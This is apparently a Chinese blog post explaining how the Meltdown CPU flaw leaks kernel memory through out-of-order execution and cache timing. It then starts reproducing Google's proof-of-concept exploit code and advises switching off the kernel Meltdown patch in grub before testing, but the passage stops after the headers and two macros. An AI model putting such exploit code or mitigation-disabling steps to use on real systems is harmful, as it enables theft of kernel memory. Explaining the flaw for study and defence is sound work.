X86 CPU 漏洞 Meltdown 原理及google攻击代码

最新推荐文章于 2024-03-03 20:13:10 发布

原创

最新推荐文章于 2024-03-03 20:13:10 发布 · 置顶 · 1.8k 阅读

6 ·

CC 4.0 BY-SA版权

文章标签：

#meltdown #google poc #漏洞

meltdown的原理其实很简单了，访问一个虚拟地址要走page table walk，现在一般都是4级页表了，页的属性中有一位标志是区分是内核页还是用户页的。程序执行在用户模式下是不允许访问内核地址的原因就是，用户态使用用户态下的页完成虚拟地址向物理地址的转换，同理内核态使用内核态的页。那好了，meltdown发生的窗口期就是因为乱序执行，当用户态非法访问一个内核态的地址时，还没来得及做页属性的检查，就把数据读到cache里，之后再去cache里把数据拿出来。

原理两条汇编指令就可以解释的非常清楚：

mov al, byte ptr [r15]	 ; r15 保存一个内核的地址
shl rax, 6

第一条指令 mov al , [kernel address] 会触发page fault，从而走page table walk，这时要考虑页属性的权限检查了。

第二条指令 shl rax, 6 正常没有meltdown的情况下是不能执行的，因为第一条指令页表权限检查不会过的。但是由于乱序执行在page fault页表权限检查的同时执行了第二条指令，导致内核的数据被读入cache里。这个窗口期，Intel core架构的cpu都会存在，但是amd的cpu就没有这样的窗口期。intel这样设计就是奔着性能去的，安全性降低了。反而看看AMD 既要性能又要安全。AMD确实良心。

google发布的攻击代码如下，感兴趣的同学可以去测试，现在的linux内核都打补丁了，在测试之前，请从grub里关掉meltdown补丁。

#define _GNU_SOURCE
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdint.h>
#include <stdio.h>
#include <sys/mman.h>
#include <err.h>
#include <stdbool.h>
#include <ctype.h>

/* memory clobber is not actually true, but serves as a compiler barrier */
#define pipeline_flush() asm volatile("mov $0, %%eax\n\tcpuid" : /*out*/ : /*in*/ : "rax","rbx","rcx","rdx","memory")
#define clflush(addr) asm volatile("clflush